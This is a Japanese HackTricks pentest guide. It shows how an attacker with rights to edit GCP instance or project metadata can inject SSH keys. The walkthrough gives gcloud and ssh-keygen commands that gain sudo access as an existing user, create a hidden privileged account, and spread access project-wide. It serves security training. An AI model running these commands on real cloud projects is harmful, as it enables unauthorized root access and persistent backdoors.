GCP - カスタムSSHメタデータの追加

Reading time: 8 minutes

GCP - カスタムSSHメタデータの追加

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

メタデータの変更

インスタンスのメタデータの変更は、攻撃者が必要な権限を得た場合に重大なセキュリティリスクを引き起こす可能性があります

カスタムメタデータへのSSHキーの組み込み

GCPでは、LinuxシステムはしばしばGoogle Compute Engine用のPython Linux Guest Environmentからスクリプトを実行します。この重要なコンポーネントは、定期的にインスタンスメタデータエンドポイントをチェックして認可されたSSH公開鍵の更新を確認するために設計されたアカウントデーモンです。

したがって、攻撃者がカスタムメタデータを変更できる場合、デーモンが新しい公開鍵を見つけるように仕向けることができ、それが処理されてローカルシステムに統合されます。鍵は、既存のユーザーの~/.ssh/authorized_keysファイルに追加されるか、鍵の形式に応じてsudo権限を持つ新しいユーザーが作成される可能性があります。攻撃者はホストを侵害することができます。

既存の特権ユーザーにSSHキーを追加する

  1. インスタンス上の既存のSSHキーを調査する:
  • インスタンスとそのメタデータを記述するコマンドを実行して、既存のSSHキーを見つけます。出力の関連セクションはmetadataの下、特にssh-keysキーの下にあります。
bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSHキーの形式に注意してください: ユーザー名は鍵の前にあり、コロンで区切られています。
  1. SSHキーのメタデータ用のテキストファイルを準備する:
  • ユーザー名とそれに対応するSSHキーの詳細をmeta.txtという名前のテキストファイルに保存します。これは、新しいキーを追加しながら既存のキーを保持するために重要です。
  1. ターゲットユーザー(この例ではalice)のために新しいSSHキーを生成する:
  • ssh-keygenコマンドを使用して新しいSSHキーを生成し、コメントフィールド(-C)がターゲットユーザー名と一致するようにします。
bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 新しい公開鍵をmeta.txtに追加し、インスタンスのメタデータに見られる形式を模倣します。
  1. インスタンスのSSHキーのメタデータを更新する:
  • gcloud compute instances add-metadataコマンドを使用して、インスタンスに更新されたSSHキーのメタデータを適用します。
bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 新しいSSHキーを使用してインスタンスにアクセスする:
  • 新しいキーを使用してSSHでインスタンスに接続し、ターゲットユーザー(この例ではalice)のコンテキストでシェルにアクセスします。
bash
ssh -i ./key alice@localhost
sudo id

新しい特権ユーザーを作成し、SSHキーを追加する

興味深いユーザーが見つからない場合は、sudo権限を与えられる新しいユーザーを作成することが可能です:

bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

プロジェクトレベルのSSHキー

プロジェクトレベルでSSHキーを適用することで、クラウド環境内の複数の仮想マシン(VM)へのSSHアクセスを拡大することが可能です。このアプローチにより、プロジェクト内の明示的にプロジェクト全体のSSHキーをブロックしていないインスタンスへのSSHアクセスが可能になります。以下は要約ガイドです:

  1. プロジェクトレベルでSSHキーを適用する:
  • gcloud compute project-info add-metadataコマンドを使用して、meta.txtからプロジェクトのメタデータにSSHキーを追加します。このアクションにより、VMが「プロジェクト全体のSSHキーをブロック」オプションを有効にしていない限り、プロジェクト内のすべてのVMでSSHキーが認識されます。
bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. プロジェクト全体のキーを使用してインスタンスにSSH接続する:
  • プロジェクト全体のSSHキーが設定されている場合、プロジェクト内の任意のインスタンスにSSH接続できます。プロジェクト全体のキーをブロックしていないインスタンスはSSHキーを受け入れ、アクセスを許可します。
  • インスタンスにSSH接続する直接的な方法は、gcloud compute ssh [INSTANCE]コマンドを使用することです。このコマンドは、現在のユーザー名とプロジェクトレベルで設定されたSSHキーを使用してアクセスを試みます。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする